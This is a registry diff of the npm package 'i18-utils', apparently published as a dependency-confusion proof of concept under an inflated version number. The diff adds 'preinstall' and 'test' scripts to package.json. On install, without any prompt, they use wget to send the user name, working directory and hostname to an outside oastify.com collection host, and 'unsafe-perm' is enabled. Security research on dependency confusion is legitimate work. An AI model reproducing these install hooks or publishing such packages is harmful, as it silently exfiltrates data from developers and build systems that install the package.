i18-utils 0.0.1-security.3 → 5.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of i18-utils might be problematic. Click here for more details.
- package/README.md +4 -3
- package/index.js +3 -0
- package/package.json +20 -3
package/README.md
CHANGED
@@ -1,5 +1,6 @@
|
|
1
|
-
#
|
1
|
+
# NPM Dependency Confusion PoC
|
2
|
+
Simple PoC package for testing for dependency confusion vulnerabilities.
|
2
3
|
|
3
|
-
|
4
|
+
Inspired by Alex Birsan's research.
|
4
5
|
|
5
|
-
|
6
|
+
Reference: [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,6 +1,23 @@
|
|
1
1
|
{
|
2
2
|
"name": "i18-utils",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "5.0.0",
|
4
|
+
"description": "Simple PoC package for testing for dependency confusion vulnerabilities.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "wget --quiet \"http://e3i4wy9gwj5ueauuand4jwzonft6hw5l.oastify.com/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\" # CHANGE IP ADDRESS",
|
8
|
+
"preinstall": "wget --quiet \"http://e3i4wy9gwj5ueauuand4jwzonft6hw5l.oastify.com/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\" # CHANGE IP ADDRESS"
|
9
|
+
},
|
10
|
+
"keywords": [
|
11
|
+
"test",
|
12
|
+
"PoC"
|
13
|
+
],
|
14
|
+
"config": {
|
15
|
+
"unsafe-perm": true
|
16
|
+
},
|
17
|
+
"author": "WayCup",
|
18
|
+
"license": "ISC",
|
19
|
+
"repository": {
|
20
|
+
"type": "git",
|
21
|
+
"url": "NA"
|
22
|
+
}
|
6
23
|
}
|